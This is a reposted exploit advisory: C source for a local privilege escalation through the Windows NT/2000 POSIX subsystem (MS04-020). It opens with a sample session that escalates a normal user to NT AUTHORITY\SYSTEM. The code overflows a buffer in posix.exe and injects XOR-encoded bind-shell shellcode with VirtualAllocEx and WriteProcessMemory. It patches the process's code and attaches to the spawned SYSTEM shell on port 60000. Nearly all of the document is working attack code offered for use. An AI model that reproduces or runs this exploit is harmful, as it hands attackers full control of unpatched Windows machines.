exploits , vulnerabilities , articles , Microsoft Windows NT/2000 POSIX Subsystem Local Exploit (MS04-020)

/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit
(MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16 
*
* thanks to eyas xfocus org
*
*
C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.

C:\>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D       
//需要动态修改posix.exe的位置
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip] 
#define EIPLOCATION 0x200+4-12   
//12是"\DosDevices\"的长度
#define CANWRITEADDR 0x7ffdf02c    
//该地址+0x20要可写
#define VERSION "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"\x33\xC0"        //xor eax,eax
"\x66\xB8\xc0\x01"    //mov ax,0x1ff
"\x40"            //inc eax
"\x2B\xE0"        //sub esp,eax
"\xFF\xE4"        //jmp esp
"\x00";            //\0 zero NULL 
   
unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;
   
   printf("Microsoft Windows POSIX Subsystem Local Privilege
Escalation Exploit(%s)\n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com)
www.cnhonker.com\;n\n");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
       printf("[-] WSAStartup error:%d\n", WSAGetLastError());
       return -1;
   }
   
   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='\0';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P
%s\\system32\\pax.exe /C 
pax -h",systemdir,systemdir);
   //printf("cmdarg:%s\n",cmdarg);
   //exit(0);
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   //create process
   //先让psxss运行起来
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
   {
    printf("CreateProcess1 failed:%d\n", GetLastError());
    return 0;
   }
   WaitForSingleObject(pi.hProcess, INFINITE);
   //再运行一次
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0,
0, &si, &pi))
   {
    printf("CreateProcess2 failed:%d\n", GetLastError());
    return 0;
   }
   //alloc from remote process
   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL,
cbMemSize,MEM_COMMIT | 
 MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
   if (pdwCodeRemote == NULL) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualAllocEx failed:%d\n",GetLastError());
       return 0;
   }
   printf("Remote addr:0x%08x\n",pdwCodeRemote);
   //we can write and execute
   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote,
cbMemSize,PAGE_EXECUTE_READWRITE, 
 &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx failed:%d\n",GetLastError());
       return 0;
   }
   //make shellcode    
   lports = htons(bindport)^0xeeee;
   memcpy(bind_shell+bind_port_offset,&lports,2);
   
   memset(buffer,'\x90',MEMSIZE);
   //memset(buffer,'A',EIPLOCATION);
   buffer[MEMSIZE-1] = '\0';
   i=sizeof(bind_shell)-1;
   if(i >= EIPLOCATION) 
   {
       printf("shellcode so large:%d,must <
%d\n",i,MEMSIZE);
       TerminateProcess(pi.hProcess,0);
       return 0;
   }
   i=EIPLOCATION-i;
   memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
   *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //覆盖eip
   *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR;
//覆盖第一个参数
   memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
   //write in to target
   buflen=MEMSIZE;
  
if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))

   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   //modified the process .text
  
if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE,

 &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx 0x08x
failed:%d\n",PATCHADDR,GetLastError());
       return 0;
   }
   //创建要修补的内容
   i = 0;
   textbuf[i++]='\xbf';
   textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
   textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
   //替换跳转指令
   textbuf[i++]='\xeb';
   textbuf[i++]='\x09'; //jmp .+0b
   //写进进程中
  
if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred))

   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   ResumeThread(pi.hThread);
   Sleep(5);
   sockfd=WSASocket(2,1,0,0,0,0);
   if(sockfd == INVALID_SOCKET)
   {
       printf("[-] WSASocket error:%d\n", WSAGetLastError());
       return -1;
   }
   if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
   {
       closesocket(sockfd);
       printf("[-] Maybe not success?\n");
   }
   readwrite(sockfd);
   TerminateProcess(pi.hProcess,0);
   WaitForSingleObject(pi.hProcess, INFINITE);
}

int readwrite(SOCKET fd)
{
   fd_set fdr1;
   unsigned char buffer[1024];
   int istty,ct1,ct2;
   struct timeval timer;

   memset(buffer,0,sizeof(buffer));
   istty=_isatty(0);
   timer.tv_sec=0;
   timer.tv_usec=0;

   while(1)
   {

       FD_ZERO(&fdr1);
       FD_SET(fd,&fdr1);
       ct1=select(0,&fdr1,NULL,NULL,&timer);
       if(ct1==SOCKET_ERROR)
       {
           printf("[-] select error:%d\n",GetLastError());
           break;
       }
       if(FD_ISSET(fd,&fdr1))
       {
           ct1=recv(fd,buffer,sizeof(buffer)-1,0);
           if((ct1==SOCKET_ERROR) || (ct1==0))
           {
               printf("[-] target maybe close the socket.\n");
               break;
           }
           if(_write(1,buffer,ct1)<=0)
           {
               printf("[-] write to stdout
error:%d\n",GetLastError());
               break;
           }

           memset(buffer,0,sizeof(buffer));
       }
       if(istty)
       {
           if(_kbhit()) /* stdin can read */
           {


               ct1=read(0,buffer,sizeof(buffer)-1);
               if(ct1 <= 0)
               {
                   printf("[-] read from stdin
error:%d\n",GetLastError());
                   break;
               }
               ct2=send(fd,buffer,ct1,0);
               if((ct2==SOCKET_ERROR) || (ct2==0))
               {
                   printf("[-] target maybe close the
socket.\n");
                   break;
               }
               if( strnicmp(buffer, "exit", 4) == 0)
               {
                   printf("[+] Connection closed in exit
command.\n");
                   break;
               }
               memset(buffer,0,sizeof(buffer));
           }
       }
       else
       {
           ct1=read(0,buffer,sizeof(buffer)-1);
           if(ct1<=0)
           {
               printf("[-] read from nontty stdin
error:%d\n",GetLastError());
               break;
           }
           ct2=send(fd,buffer,ct1,0);
           if((ct2==SOCKET_ERROR) || (ct2==0))
           {
               printf("[-] target maybe close the socket\n");
               break;
           }
           if( strnicmp(buffer, "exit", 4) == 0)
           {
               printf("[+] Connection closed in exit
command.\n");
               break;
           }
           memset(buffer,0,sizeof(buffer));
       }
   }
   return(1);
}


/* 连接指定server 和port */
int client_connect(int sockfd,char* server,int port)
{
   struct sockaddr_in cliaddr;
   struct hostent *host;
   short port2;

   port2=port & 0xffff;

   if((host=gethostbyname(server))==NULL)
   {
       printf("gethostbyname(%s) error\n",server);
       return(-1);
   }

   memset(&cliaddr,0,sizeof(struct sockaddr));
   cliaddr.sin_family=AF_INET;
   cliaddr.sin_port=htons(port2);
   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
sockaddr))<0)
   {
       printf("[-] Trying %s:%d error\n",server,port);
       closesocket(sockfd);
       return(-1);
   }
   //printf("ok\r\n");
   return(0);
}
securitydot.net - 2004-07-16